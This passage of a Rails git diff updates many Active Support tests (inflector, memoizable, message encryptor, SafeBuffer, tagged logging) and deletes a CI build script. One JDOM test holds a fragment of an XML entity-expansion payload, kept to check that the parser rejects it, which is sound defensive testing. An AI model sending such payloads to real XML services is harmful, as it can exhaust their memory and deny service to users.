"RESTful"], + ["RESTfulController", "restful_controller", "RESTful controller", "RESTful Controller"], + ["IHeartW3C", "i_heart_w3c", "I heart W3C", "I Heart W3C"], + ["PhDRequired", "phd_required", "PhD required", "PhD Required"], + ["IRoRU", "i_ror_u", "I RoR u", "I RoR U"], + ["RESTfulHTTPAPI", "restful_http_api", "RESTful HTTP API", "RESTful HTTP API"], + + # misdirection + ["Capistrano", "capistrano", "Capistrano", "Capistrano"], + ["CapiController", "capi_controller", "Capi controller", "Capi Controller"], + ["HttpsApis", "https_apis", "Https apis", "Https Apis"], + ["Html5", "html5", "Html5", "Html5"], + ["Restfully", "restfully", "Restfully", "Restfully"], + ["RoRails", "ro_rails", "Ro rails", "Ro Rails"] + ].each do |camel, under, human, title| + assert_equal(camel, ActiveSupport::Inflector.camelize(under)) + assert_equal(camel, ActiveSupport::Inflector.camelize(camel)) + assert_equal(under, ActiveSupport::Inflector.underscore(under)) + assert_equal(under, ActiveSupport::Inflector.underscore(camel)) + assert_equal(title, ActiveSupport::Inflector.titleize(under)) + assert_equal(title, ActiveSupport::Inflector.titleize(camel)) + assert_equal(human, ActiveSupport::Inflector.humanize(under)) + end + end + + def test_acronym_override + ActiveSupport::Inflector.inflections do |inflect| + inflect.acronym("API") + inflect.acronym("LegacyApi") + end + + assert_equal("LegacyApi", ActiveSupport::Inflector.camelize("legacyapi")) + assert_equal("LegacyAPI", ActiveSupport::Inflector.camelize("legacy_api")) + assert_equal("SomeLegacyApi", ActiveSupport::Inflector.camelize("some_legacyapi")) + assert_equal("Nonlegacyapi", ActiveSupport::Inflector.camelize("nonlegacyapi")) + end + + def test_acronyms_camelize_lower + ActiveSupport::Inflector.inflections do |inflect| + inflect.acronym("API") + inflect.acronym("HTML") + end + + assert_equal("htmlAPI", ActiveSupport::Inflector.camelize("html_api", false)) + assert_equal("htmlAPI", ActiveSupport::Inflector.camelize("htmlAPI", false)) + assert_equal("htmlAPI", ActiveSupport::Inflector.camelize("HTMLAPI", false)) + end + + def test_underscore_acronym_sequence + ActiveSupport::Inflector.inflections do |inflect| + inflect.acronym("API") + inflect.acronym("HTML5") + inflect.acronym("HTML") + end + + assert_equal("html5_html_api", ActiveSupport::Inflector.underscore("HTML5HTMLAPI")) + end + def test_underscore CamelToUnderscore.each do |camel, underscore| assert_equal(underscore, ActiveSupport::Inflector.underscore(camel)) @@ -117,6 +194,20 @@ class InflectorTest < Test::Unit::TestCase def test_demodulize assert_equal "Account", ActiveSupport::Inflector.demodulize("MyApplication::Billing::Account") + assert_equal "Account", ActiveSupport::Inflector.demodulize("Account") + assert_equal "", ActiveSupport::Inflector.demodulize("") + end + + def test_deconstantize + assert_equal "MyApplication::Billing", ActiveSupport::Inflector.deconstantize("MyApplication::Billing::Account") + assert_equal "::MyApplication::Billing", ActiveSupport::Inflector.deconstantize("::MyApplication::Billing::Account") + + assert_equal "MyApplication", ActiveSupport::Inflector.deconstantize("MyApplication::Billing") + assert_equal "::MyApplication", ActiveSupport::Inflector.deconstantize("::MyApplication::Billing") + + assert_equal "", ActiveSupport::Inflector.deconstantize("Account") + assert_equal "", ActiveSupport::Inflector.deconstantize("::Account") + assert_equal "", ActiveSupport::Inflector.deconstantize("") end def test_foreign_key @@ -148,8 +239,8 @@ class InflectorTest < Test::Unit::TestCase end def test_parameterize_with_custom_separator - StringToParameterized.each do |some_string, parameterized_string| - assert_equal(parameterized_string.gsub('-', '_'), ActiveSupport::Inflector.parameterize(some_string, '_')) + StringToParameterizeWithUnderscore.each do |some_string, parameterized_string| + assert_equal(parameterized_string, ActiveSupport::Inflector.parameterize(some_string, '_')) end end @@ -200,17 +291,15 @@ class InflectorTest < Test::Unit::TestCase end def test_constantize - assert_nothing_raised { assert_equal Ace::Base::Case, ActiveSupport::Inflector.constantize("Ace::Base::Case") } - assert_nothing_raised { assert_equal Ace::Base::Case, ActiveSupport::Inflector.constantize("::Ace::Base::Case") } - assert_nothing_raised { assert_equal InflectorTest, ActiveSupport::Inflector.constantize("InflectorTest") } - assert_nothing_raised { assert_equal InflectorTest, ActiveSupport::Inflector.constantize("::InflectorTest") } - assert_raise(NameError) { ActiveSupport::Inflector.constantize("UnknownClass") } - assert_raise(NameError) { ActiveSupport::Inflector.constantize("An invalid string") } - assert_raise(NameError) { ActiveSupport::Inflector.constantize("InvalidClass\n") } + run_constantize_tests_on do |string| + ActiveSupport::Inflector.constantize(string) + end end - - def test_constantize_does_lexical_lookup - assert_raise(NameError) { ActiveSupport::Inflector.constantize("Ace::Base::InflectorTest") } + + def test_safe_constantize + run_safe_constantize_tests_on do |string| + ActiveSupport::Inflector.safe_constantize(string) + end end def test_ordinal diff --git a/activesupport/test/inflector_test_cases.rb b/activesupport/test/inflector_test_cases.rb index ec9d92794c..0cb1f70657 100644 --- a/activesupport/test/inflector_test_cases.rb +++ b/activesupport/test/inflector_test_cases.rb @@ -168,6 +168,7 @@ module InflectorTestCases StringToParameterizeWithNoSeparator = { "Donald E. Knuth" => "donaldeknuth", + "With-some-dashes" => "with-some-dashes", "Random text with *(bad)* characters" => "randomtextwithbadcharacters", "Trailing bad characters!@#" => "trailingbadcharacters", "!@#Leading bad characters" => "leadingbadcharacters", @@ -179,6 +180,8 @@ module InflectorTestCases StringToParameterizeWithUnderscore = { "Donald E. Knuth" => "donald_e_knuth", "Random text with *(bad)* characters" => "random_text_with_bad_characters", + "With-some-dashes" => "with-some-dashes", + "Retain_underscore" => "retain_underscore", "Trailing bad characters!@#" => "trailing_bad_characters", "!@#Leading bad characters" => "leading_bad_characters", "Squeeze separators" => "squeeze_separators", diff --git a/activesupport/test/json/decoding_test.rb b/activesupport/test/json/decoding_test.rb index 6ccffa59b1..d1454902e5 100644 --- a/activesupport/test/json/decoding_test.rb +++ b/activesupport/test/json/decoding_test.rb @@ -1,8 +1,7 @@ -# encoding: UTF-8 +# encoding: utf-8 require 'abstract_unit' require 'active_support/json' require 'active_support/time' -require 'active_support/core_ext/kernel/reporting' class TestJSONDecoding < ActiveSupport::TestCase TESTS = { diff --git a/activesupport/test/load_paths_test.rb b/activesupport/test/load_paths_test.rb index 36e3726a02..a2d8da726a 100644 --- a/activesupport/test/load_paths_test.rb +++ b/activesupport/test/load_paths_test.rb @@ -10,6 +10,7 @@ class LoadPathsTest < Test::Unit::TestCase } load_paths_count[File.expand_path('../../lib', __FILE__)] -= 1 - assert load_paths_count.select { |k, v| v > 1 }.empty?, $LOAD_PATH.inspect + filtered = load_paths_count.select { |k, v| v > 1 } + assert filtered.empty?, filtered.inspect end end diff --git a/activesupport/test/memoizable_test.rb b/activesupport/test/memoizable_test.rb index bceac1315b..e333b9a78c 100644 --- a/activesupport/test/memoizable_test.rb +++ b/activesupport/test/memoizable_test.rb @@ -2,7 +2,9 @@ require 'abstract_unit' class MemoizableTest < ActiveSupport::TestCase class Person - extend ActiveSupport::Memoizable + ActiveSupport::Deprecation.silence do + extend ActiveSupport::Memoizable + end attr_reader :name_calls, :age_calls, :is_developer_calls, :name_query_calls @@ -65,7 +67,9 @@ class MemoizableTest < ActiveSupport::TestCase end module Rates - extend ActiveSupport::Memoizable + ActiveSupport::Deprecation.silence do + extend ActiveSupport::Memoizable + end attr_reader :sales_tax_calls def sales_tax(price) @@ -77,7 +81,9 @@ class MemoizableTest < ActiveSupport::TestCase end class Calculator - extend ActiveSupport::Memoizable + ActiveSupport::Deprecation.silence do + extend ActiveSupport::Memoizable + end include Rates attr_reader :fib_calls @@ -96,6 +102,15 @@ class MemoizableTest < ActiveSupport::TestCase end memoize :fib + def add_or_subtract(i, j, add) + if add + i + j + else + i - j + end + end + memoize :add_or_subtract + def counter @count ||= 0 @count += 1 @@ -199,9 +214,16 @@ class MemoizableTest < ActiveSupport::TestCase assert_equal 13, @calculator.fib_calls end + def test_memoization_with_boolean_arg + assert_equal 4, @calculator.add_or_subtract(2, 2, true) + assert_equal 2, @calculator.add_or_subtract(4, 2, false) + end + def test_object_memoization [Company.new, Company.new, Company.new].each do |company| - company.extend ActiveSupport::Memoizable + ActiveSupport::Deprecation.silence do + company.extend ActiveSupport::Memoizable + end company.memoize :name assert_equal "37signals", company.name @@ -235,11 +257,15 @@ class MemoizableTest < ActiveSupport::TestCase def test_double_memoization assert_raise(RuntimeError) { Person.memoize :name } person = Person.new - person.extend ActiveSupport::Memoizable + ActiveSupport::Deprecation.silence do + person.extend ActiveSupport::Memoizable + end assert_raise(RuntimeError) { person.memoize :name } company = Company.new - company.extend ActiveSupport::Memoizable + ActiveSupport::Deprecation.silence do + company.extend ActiveSupport::Memoizable + end company.memoize :name assert_raise(RuntimeError) { company.memoize :name } end diff --git a/activesupport/test/message_encryptor_test.rb b/activesupport/test/message_encryptor_test.rb index 419ac14283..83a19f8106 100644 --- a/activesupport/test/message_encryptor_test.rb +++ b/activesupport/test/message_encryptor_test.rb @@ -8,10 +8,22 @@ rescue LoadError, NameError else require 'active_support/time' +require 'active_support/json' -class MessageEncryptorTest < Test::Unit::TestCase +class MessageEncryptorTest < ActiveSupport::TestCase + + class JSONSerializer + def dump(value) + ActiveSupport::JSON.encode(value) + end + + def load(value) + ActiveSupport::JSON.decode(value) + end + end + def setup - @encryptor = ActiveSupport::MessageEncryptor.new(ActiveSupport::SecureRandom.hex(64)) + @encryptor = ActiveSupport::MessageEncryptor.new(SecureRandom.hex(64)) @data = { :some => "data", :now => Time.local(2010) } end @@ -38,8 +50,19 @@ class MessageEncryptorTest < Test::Unit::TestCase message = @encryptor.encrypt_and_sign(@data) assert_equal @data, @encryptor.decrypt_and_verify(message) end + + def test_alternative_serialization_method + encryptor = ActiveSupport::MessageEncryptor.new(SecureRandom.hex(64), :serializer => JSONSerializer.new) + message = encryptor.encrypt_and_sign({ :foo => 123, 'bar' => Time.utc(2010) }) + assert_equal encryptor.decrypt_and_verify(message), { "foo" => 123, "bar" => "2010-01-01T00:00:00Z" } + end - + def test_digest_algorithm_as_second_parameter_deprecation + assert_deprecated(/options hash/) do + ActiveSupport::MessageEncryptor.new(SecureRandom.hex(64), 'aes-256-cbc') + end + end + private def assert_not_decrypted(value) assert_raise(ActiveSupport::MessageEncryptor::InvalidMessage) do diff --git a/activesupport/test/message_verifier_test.rb b/activesupport/test/message_verifier_test.rb index 4821311244..35747abe5b 100644 --- a/activesupport/test/message_verifier_test.rb +++ b/activesupport/test/message_verifier_test.rb @@ -8,8 +8,20 @@ rescue LoadError, NameError else require 'active_support/time' +require 'active_support/json' -class MessageVerifierTest < Test::Unit::TestCase +class MessageVerifierTest < ActiveSupport::TestCase + + class JSONSerializer + def dump(value) + ActiveSupport::JSON.encode(value) + end + + def load(value) + ActiveSupport::JSON.decode(value) + end + end + def setup @verifier = ActiveSupport::MessageVerifier.new("Hey, I'm a secret!") @data = { :some => "data", :now => Time.local(2010) } @@ -31,6 +43,18 @@ class MessageVerifierTest < Test::Unit::TestCase assert_not_verified("#{data}--#{hash.reverse}") assert_not_verified("purejunk") end + + def test_alternative_serialization_method + verifier = ActiveSupport::MessageVerifier.new("Hey, I'm a secret!", :serializer => JSONSerializer.new) + message = verifier.generate({ :foo => 123, 'bar' => Time.utc(2010) }) + assert_equal verifier.verify(message), { "foo" => 123, "bar" => "2010-01-01T00:00:00Z" } + end + + def test_digest_algorithm_as_second_parameter_deprecation + assert_deprecated(/options hash/) do + ActiveSupport::MessageVerifier.new("secret", "SHA1") + end + end def assert_not_verified(message) assert_raise(ActiveSupport::MessageVerifier::InvalidSignature) do diff --git a/activesupport/test/multibyte_utils_test.rb b/activesupport/test/multibyte_utils_test.rb index 1dff944922..0a2f20d282 100644 --- a/activesupport/test/multibyte_utils_test.rb +++ b/activesupport/test/multibyte_utils_test.rb @@ -2,7 +2,6 @@ require 'abstract_unit' require 'multibyte_test_helpers' -require 'active_support/core_ext/kernel/reporting' class MultibyteUtilsTest < ActiveSupport::TestCase include MultibyteTestHelpers diff --git a/activesupport/test/notifications_test.rb b/activesupport/test/notifications_test.rb index 7b48b3f85b..884ee61547 100644 --- a/activesupport/test/notifications_test.rb +++ b/activesupport/test/notifications_test.rb @@ -1,4 +1,5 @@ require 'abstract_unit' +require 'active_support/core_ext/module/delegation' module Notifications class TestCase < ActiveSupport::TestCase @@ -215,7 +216,7 @@ module Notifications protected def random_id - @random_id ||= ActiveSupport::SecureRandom.hex(10) + @random_id ||= SecureRandom.hex(10) end end end diff --git a/activesupport/test/ordered_hash_test.rb b/activesupport/test/ordered_hash_test.rb index f3dcd7b068..0b5f912dc4 100644 --- a/activesupport/test/ordered_hash_test.rb +++ b/activesupport/test/ordered_hash_test.rb @@ -114,6 +114,9 @@ class OrderedHashTest < Test::Unit::TestCase end assert_equal @values, values assert_equal @keys, keys + + expected_class = RUBY_VERSION < '1.9' ? Enumerable::Enumerator : Enumerator + assert_kind_of expected_class, @ordered_hash.each_pair end def test_find_all @@ -257,6 +260,26 @@ class OrderedHashTest < Test::Unit::TestCase assert_equal @values, values end + def test_each_when_yielding_to_block_with_splat + hash_values = [] + ordered_hash_values = [] + + @hash.each { |*v| hash_values << v } + @ordered_hash.each { |*v| ordered_hash_values << v } + + assert_equal hash_values.sort, ordered_hash_values.sort + end + + def test_each_pair_when_yielding_to_block_with_splat + hash_values = [] + ordered_hash_values = [] + + @hash.each_pair { |*v| hash_values << v } + @ordered_hash.each_pair { |*v| ordered_hash_values << v } + + assert_equal hash_values.sort, ordered_hash_values.sort + end + def test_order_after_yaml_serialization @deserialized_ordered_hash = YAML.load(YAML.dump(@ordered_hash)) @@ -306,4 +329,9 @@ class OrderedHashTest < Test::Unit::TestCase assert_equal expected, @ordered_hash.invert assert_equal @values.zip(@keys), @ordered_hash.invert.to_a end + + def test_extractable + @ordered_hash[:rails] = "snowman" + assert_equal @ordered_hash, [1, 2, @ordered_hash].extract_options! + end end diff --git a/activesupport/test/rescuable_test.rb b/activesupport/test/rescuable_test.rb index bf4f5265ef..c28ffa50f2 100644 --- a/activesupport/test/rescuable_test.rb +++ b/activesupport/test/rescuable_test.rb @@ -70,7 +70,7 @@ class CoolStargate < Stargate end -class RescueableTest < Test::Unit::TestCase +class RescuableTest < Test::Unit::TestCase def setup @stargate = Stargate.new @cool_stargate = CoolStargate.new diff --git a/activesupport/test/safe_buffer_test.rb b/activesupport/test/safe_buffer_test.rb index a4e2acbb32..8f77999d25 100644 --- a/activesupport/test/safe_buffer_test.rb +++ b/activesupport/test/safe_buffer_test.rb @@ -4,6 +4,7 @@ begin rescue LoadError end +require 'active_support/core_ext/string/inflections' require 'yaml' class SafeBufferTest < ActiveSupport::TestCase @@ -45,7 +46,7 @@ class SafeBufferTest < ActiveSupport::TestCase assert_equal ActiveSupport::SafeBuffer, new_buffer.class end - def test_to_yaml + test "Should be converted to_yaml" do str = 'hello!' buf = ActiveSupport::SafeBuffer.new str yaml = buf.to_yaml @@ -54,10 +55,61 @@ class SafeBufferTest < ActiveSupport::TestCase assert_equal 'hello!', YAML.load(yaml) end - def test_nested + test "Should work in nested to_yaml conversion" do str = 'hello!' data = { 'str' => ActiveSupport::SafeBuffer.new(str) } yaml = YAML.dump data assert_equal({'str' => str}, YAML.load(yaml)) end + + test "Should work with underscore" do + str = "MyTest".html_safe.underscore + assert_equal "my_test", str + end + + test "Should not return safe buffer from gsub" do + altered_buffer = @buffer.gsub('', 'asdf') + assert_equal 'asdf', altered_buffer + assert !altered_buffer.html_safe? + end + + test "Should not return safe buffer from gsub!" do + @buffer.gsub!('', 'asdf') + assert_equal 'asdf', @buffer + assert !@buffer.html_safe? + end + + test "Should escape dirty buffers on add" do + clean = "hello".html_safe + @buffer.gsub!('', '<>') + assert_equal "hello<>", clean + @buffer + end + + test "Should concat as a normal string when dirty" do + clean = "hello".html_safe + @buffer.gsub!('', '<>') + assert_equal "<>hello", @buffer + clean + end + + test "Should preserve dirty? status on copy" do + @buffer.gsub!('', '<>') + assert !@buffer.dup.html_safe? + end + + test "Should raise an error when safe_concat is called on dirty buffers" do + @buffer.gsub!('', '<>') + assert_raise ActiveSupport::SafeBuffer::SafeConcatError do + @buffer.safe_concat "BUSTED" + end + end + + test "should not fail if the returned object is not a string" do + assert_kind_of NilClass, @buffer.slice("chipchop") + end + + test "Should initialize @dirty to false for new instance when sliced" do + dirty = @buffer[0,0].send(:dirty?) + assert_not_nil dirty + assert !dirty + end end diff --git a/activesupport/test/secure_random_test.rb b/activesupport/test/secure_random_test.rb deleted file mode 100644 index 44694cd811..0000000000 --- a/activesupport/test/secure_random_test.rb +++ /dev/null @@ -1,19 +0,0 @@ -require 'abstract_unit' - -class SecureRandomTest < Test::Unit::TestCase - def test_random_bytes - b1 = ActiveSupport::SecureRandom.random_bytes(64) - b2 = ActiveSupport::SecureRandom.random_bytes(64) - assert_not_equal b1, b2 - end - - def test_hex - b1 = ActiveSupport::SecureRandom.hex(64) - b2 = ActiveSupport::SecureRandom.hex(64) - assert_not_equal b1, b2 - end - - def test_random_number - assert ActiveSupport::SecureRandom.random_number(5000) < 5000 - end -end diff --git a/activesupport/test/tagged_logging_test.rb b/activesupport/test/tagged_logging_test.rb new file mode 100644 index 0000000000..17c4214dfc --- /dev/null +++ b/activesupport/test/tagged_logging_test.rb @@ -0,0 +1,67 @@ +require 'abstract_unit' +require 'active_support/core_ext/logger' +require 'active_support/tagged_logging' + +class TaggedLoggingTest < ActiveSupport::TestCase + class MyLogger < ::Logger + def flush(*) + info "[FLUSHED]" + end + end + + setup do + @output = StringIO.new + @logger = ActiveSupport::TaggedLogging.new(MyLogger.new(@output)) + end + + test "tagged once" do + @logger.tagged("BCX") { @logger.info "Funky time" } + assert_equal "[BCX] Funky time\n", @output.string + end + + test "tagged twice" do + @logger.tagged("BCX") { @logger.tagged("Jason") { @logger.info "Funky time" } } + assert_equal "[BCX] [Jason] Funky time\n", @output.string + end + + test "tagged thrice at once" do + @logger.tagged("BCX", "Jason", "New") { @logger.info "Funky time" } + assert_equal "[BCX] [Jason] [New] Funky time\n", @output.string + end + + test "tagged once with blank and nil" do + @logger.tagged(nil, "", "New") { @logger.info "Funky time" } + assert_equal "[New] Funky time\n", @output.string + end + + test "keeps each tag in their own thread" do + @logger.tagged("BCX") do + Thread.new do + @logger.tagged("OMG") { @logger.info "Cool story bro" } + end.join + @logger.info "Funky time" + end + assert_equal "[OMG] Cool story bro\n[BCX] Funky time\n", @output.string + end + + test "cleans up the taggings on flush" do + @logger.tagged("BCX") do + Thread.new do + @logger.tagged("OMG") do + @logger.flush + @logger.info "Cool story bro" + end + end.join + end + assert_equal "[FLUSHED]\nCool story bro\n", @output.string + end + + test "mixed levels of tagging" do + @logger.tagged("BCX") do + @logger.tagged("Jason") { @logger.info "Funky time" } + @logger.info "Junky time!" + end + + assert_equal "[BCX] [Jason] Funky time\n[BCX] Junky time!\n", @output.string + end +end diff --git a/activesupport/test/test_test.rb b/activesupport/test/test_test.rb index ee5a20c789..f880052786 100644 --- a/activesupport/test/test_test.rb +++ b/activesupport/test/test_test.rb @@ -1,5 +1,4 @@ require 'abstract_unit' -require 'active_support/core_ext/kernel/reporting' class AssertDifferenceTest < ActiveSupport::TestCase def setup @@ -50,7 +49,7 @@ class AssertDifferenceTest < ActiveSupport::TestCase def test_expression_is_evaluated_in_the_appropriate_scope silence_warnings do - local_scope = 'foo' + local_scope = local_scope = 'foo' assert_difference('local_scope; @object.num') { @object.increment } end end diff --git a/activesupport/test/time_zone_test.rb b/activesupport/test/time_zone_test.rb index 49cefc6e82..3575175517 100644 --- a/activesupport/test/time_zone_test.rb +++ b/activesupport/test/time_zone_test.rb @@ -224,9 +224,9 @@ class TimeZoneTest < Test::Unit::TestCase end def test_formatted_offset_positive - zone = ActiveSupport::TimeZone['Moscow'] - assert_equal "+03:00", zone.formatted_offset - assert_equal "+0300", zone.formatted_offset(false) + zone = ActiveSupport::TimeZone['New Delhi'] + assert_equal "+05:30", zone.formatted_offset + assert_equal "+0530", zone.formatted_offset(false) end def test_formatted_offset_negative @@ -257,7 +257,7 @@ class TimeZoneTest < Test::Unit::TestCase end def test_to_s - assert_equal "(GMT+03:00) Moscow", ActiveSupport::TimeZone['Moscow'].to_s + assert_equal "(GMT+05:30) New Delhi", ActiveSupport::TimeZone['New Delhi'].to_s end def test_all_sorted diff --git a/activesupport/test/whiny_nil_test.rb b/activesupport/test/whiny_nil_test.rb index ec3ca99ee6..1acaf7228f 100644 --- a/activesupport/test/whiny_nil_test.rb +++ b/activesupport/test/whiny_nil_test.rb @@ -33,11 +33,10 @@ class WhinyNilTest < Test::Unit::TestCase end def test_id - nil.stubs(:object_id).returns(999) nil.id rescue RuntimeError => nme assert_no_match(/nil:NilClass/, nme.message) - assert_match(/999/, nme.message) + assert_match(Regexp.new(nil.object_id.to_s), nme.message) end def test_no_to_ary_coercion diff --git a/activesupport/test/xml_mini/jdom_engine_test.rb b/activesupport/test/xml_mini/jdom_engine_test.rb index b745228994..7f809e7898 100644 --- a/activesupport/test/xml_mini/jdom_engine_test.rb +++ b/activesupport/test/xml_mini/jdom_engine_test.rb @@ -1,38 +1,38 @@ -require 'abstract_unit' -require 'active_support/xml_mini' - if RUBY_PLATFORM =~ /java/ + require 'abstract_unit' + require 'active_support/xml_mini' + require 'active_support/core_ext/hash/conversions' -class JDOMEngineTest < Test::Unit::TestCase - include ActiveSupport + class JDOMEngineTest < Test::Unit::TestCase + include ActiveSupport - def setup - @default_backend = XmlMini.backend - XmlMini.backend = 'JDOM' - end + def setup + @default_backend = XmlMini.backend + XmlMini.backend = 'JDOM' + end - def teardown - XmlMini.backend = @default_backend - end + def teardown + XmlMini.backend = @default_backend + end + + def test_file_from_xml + hash = Hash.from_xml(<<-eoxml) + <blog> + <logo type="file" name="logo.png" content_type="image/png"> + </logo> + </blog> + eoxml + assert hash.has_key?('blog') + assert hash['blog'].has_key?('logo') + + file = hash['blog']['logo'] + assert_equal 'logo.png', file.original_filename + assert_equal 'image/png', file.content_type + end - # def test_file_from_xml - # hash = Hash.from_xml(<<-eoxml) - # <blog> - # <logo type="file" name="logo.png" content_type="image/png"> - # </logo> - # </blog> - # eoxml - # assert hash.has_key?('blog') - # assert hash['blog'].has_key?('logo') - # - # file = hash['blog']['logo'] - # assert_equal 'logo.png', file.original_filename - # assert_equal 'image/png', file.content_type - # end - - def test_exception_thrown_on_expansion_attack - assert_raise NativeException do - attack_xml = <<-EOT + def test_exception_thrown_on_expansion_attack + assert_raise NativeException do + attack_xml = <<-EOT <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE member [ <!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;"> @@ -46,91 +46,91 @@ class JDOMEngineTest < Test::Unit::TestCase <member> &a; </member> - EOT - Hash.from_xml(attack_xml) + EOT + Hash.from_xml(attack_xml) + end end - end - def test_setting_JDOM_as_backend - XmlMini.backend = 'JDOM' - assert_equal XmlMini_JDOM, XmlMini.backend - end + def test_setting_JDOM_as_backend + XmlMini.backend = 'JDOM' + assert_equal XmlMini_JDOM, XmlMini.backend + end - def test_blank_returns_empty_hash - assert_equal({}, XmlMini.parse(nil)) - assert_equal({}, XmlMini.parse('')) - end + def test_blank_returns_empty_hash + assert_equal({}, XmlMini.parse(nil)) + assert_equal({}, XmlMini.parse('')) + end - def test_array_type_makes_an_array - assert_equal_rexml(<<-eoxml) + def test_array_type_makes_an_array + assert_equal_rexml(<<-eoxml) <blog> <posts type="array"> <post>a post</post> <post>another post</post> </posts> </blog> - eoxml - end + eoxml + end - def test_one_node_document_as_hash - assert_equal_rexml(<<-eoxml) + def test_one_node_document_as_hash + assert_equal_rexml(<<-eoxml) <products/> - eoxml - end + eoxml + end - def test_one_node_with_attributes_document_as_hash - assert_equal_rexml(<<-eoxml) + def test_one_node_with_attributes_document_as_hash + assert_equal_rexml(<<-eoxml) <products foo="bar"/> - eoxml - end + eoxml + end - def test_products_node_with_book_node_as_hash - assert_equal_rexml(<<-eoxml) + def test_products_node_with_book_node_as_hash + assert_equal_rexml(<<-eoxml) <products> <book name="awesome" id="12345" /> </products> - eoxml - end + eoxml + end - def test_products_node_with_two_book_nodes_as_hash - assert_equal_rexml(<<-eoxml) + def test_products_node_with_two_book_nodes_as_hash + assert_equal_rexml(<<-eoxml) <products> <book name="awesome" id="12345" /> <book name="america" id="67890" /> </products> - eoxml - end + eoxml + end - def test_single_node_with_content_as_hash - assert_equal_rexml(<<-eoxml) + def test_single_node_with_content_as_hash + assert_equal_rexml(<<-eoxml) <products> hello world </products> - eoxml - end + eoxml + end - def test_children_with_children - assert_equal_rexml(<<-eoxml) + def test_children_with_children + assert_equal_rexml(<<-eoxml) <root> <products> <book name="america" id="67890" /> </products> </root> - eoxml - end + eoxml + end - def test_children_with_text - assert_equal_rexml(<<-eoxml) + def test_children_with_text + assert_equal_rexml(<<-eoxml) <root> <products> hello everyone </products> </root> - eoxml - end + eoxml + end - def test_children_with_non_adjacent_text - assert_equal_rexml(<<-eoxml) + def test_children_with_non_adjacent_text + assert_equal_rexml(<<-eoxml) <root> good <products> @@ -138,15 +138,15 @@ class JDOMEngineTest < Test::Unit::TestCase </products> morning </root> - eoxml - end + eoxml + end - private - def assert_equal_rexml(xml) - hash = XmlMini.with_backend('REXML') { XmlMini.parse(xml) } - assert_equal(hash, XmlMini.parse(xml)) + private + def assert_equal_rexml(xml) + hash = XmlMini.with_backend('REXML') { XmlMini.parse(xml) } + assert_equal(hash, XmlMini.parse(xml)) + end end -end else # don't run these test because we aren't running in JRuby diff --git a/activesupport/test/xml_mini_test.rb b/activesupport/test/xml_mini_test.rb index e2b90ae16e..dde17ea403 100644 --- a/activesupport/test/xml_mini_test.rb +++ b/activesupport/test/xml_mini_test.rb @@ -50,49 +50,49 @@ module XmlMiniTest def test_rename_key_does_not_dasherize_multiple_trailing_underscores assert_equal "id__", ActiveSupport::XmlMini.rename_key("id__") - end + end end class ToTagTest < ActiveSupport::TestCase def assert_xml(xml) assert_equal xml, @options[:builder].target! end - - setup do + + def setup @xml = ActiveSupport::XmlMini @options = {:skip_instruct => true, :builder => Builder::XmlMarkup.new} end - + test "#to_tag accepts a callable object and passes options with the builder" do @xml.to_tag(:some_tag, lambda {|o| o[:builder].br }, @options) assert_xml "<br/>" end - + test "#to_tag accepts a callable object and passes options and tag name" do @xml.to_tag(:tag, lambda {|o, t| o[:builder].b(t) }, @options) assert_xml "<b>tag</b>" end - + test "#to_tag accepts an object responding to #to_xml and passes the options, where :root is key" do obj = Object.new obj.instance_eval do def to_xml(options) options[:builder].yo(options[:root].to_s) end end - + @xml.to_tag(:tag, obj, @options) assert_xml "<yo>tag</yo>" end - + test "#to_tag accepts arbitrary objects responding to #to_str" do @xml.to_tag(:b, "Howdy", @options) assert_xml "<b>Howdy</b>" end - + test "#to_tag should dasherize the space when passed a string with spaces as a key" do @xml.to_tag("New York", 33, @options) assert_xml "<New---York type=\"integer\">33</New---York>" end - + test "#to_tag should dasherize the space when passed a symbol with spaces as a key" do @xml.to_tag(:"New York", 33, @options) assert_xml "<New---York type=\"integer\">33</New---York>" diff --git a/bin/rails b/bin/rails deleted file mode 100755 index f9725d78d0..0000000000 --- a/bin/rails +++ /dev/null @@ -1,7 +0,0 @@ -#!/usr/bin/env ruby - -if File.exists?(File.join(File.expand_path('../..', __FILE__), '.git')) - railties_path = File.expand_path('../../railties/lib', __FILE__) - $:.unshift(railties_path) -end -require "rails/cli" diff --git a/ci/ci_build.rb b/ci/ci_build.rb deleted file mode 100755 index c3af1f0177..0000000000 --- a/ci/ci_build.rb +++ /dev/null @@ -1,182 +0,0 @@ -#!/usr/bin/env ruby -require 'fileutils' -include FileUtils - -def root_dir - @root_dir ||= File.expand_path('../..', __FILE__) -end - -def rake(*tasks) - tasks.each do |task| - cmd = "bundle exec rake #{task}" - puts "Running command: #{cmd}" - return false unless system(cmd) - end - true -end - -puts "[CruiseControl] Rails build" -build_results = {} - -# Install required version of bundler. -bundler_install_cmd = "sudo gem install bundler --no-ri --no-rdoc" -puts "Running command: #{bundler_install_cmd}" -build_results[:install_bundler] = system bundler_install_cmd - -cd root_dir do - puts - puts "[CruiseControl] Bundling gems" - puts - build_results[:bundle] = system 'bundle update' -end - -cd "#{root_dir}/activesupport" do - puts - puts "[CruiseControl] Building Active Support" - puts - build_results[:activesupport] = rake 'test' - build_results[:activesupport_isolated] = rake 'test:isolated' -end - -system "sudo rm -R #{root_dir}/railties/tmp" -cd "#{root_dir}/railties" do - puts - puts "[CruiseControl] Building Railties" - puts - build_results[:railties] = rake 'test' -end - -cd "#{root_dir}/actionpack" do - puts - puts "[CruiseControl] Building Action Pack" - puts - build_results[:actionpack] = rake 'test' - build_results[:actionpack_isolated] = rake 'test:isolated' -end - -cd "#{root_dir}/actionmailer" do - puts - puts "[CruiseControl] Building Action Mailer" - puts - build_results[:actionmailer] = rake 'test' - build_results[:actionmailer_isolated] = rake 'test:isolated' -end - -cd "#{root_dir}/activemodel" do - puts - puts "[CruiseControl] Building Active Model" - puts - build_results[:activemodel] = rake 'test' - build_results[:activemodel_isolated] = rake 'test:isolated' -end - -rm_f "#{root_dir}/activeresource/debug.log" -cd "#{root_dir}/activeresource" do - puts - puts "[CruiseControl] Building Active Resource" - puts - build_results[:activeresource] = rake 'test' - build_results[:activeresource_isolated] = rake 'test:isolated' -end - -rm_f "#{root_dir}/activerecord/debug.log" -cd "#{root_dir}/activerecord" do - puts - puts "[CruiseControl] Building Active Record with MySQL IM enabled" - puts - ENV['IM'] = 'true' - build_results[:activerecord_mysql] = rake 'mysql:rebuild_databases', 'mysql:test' - build_results[:activerecord_mysql_isolated] = rake 'mysql:rebuild_databases', 'mysql:isolated_test' -end - -cd "#{root_dir}/activerecord" do - puts - puts "[CruiseControl] Building Active Record with MySQL IM disabled" - puts - ENV['IM'] = 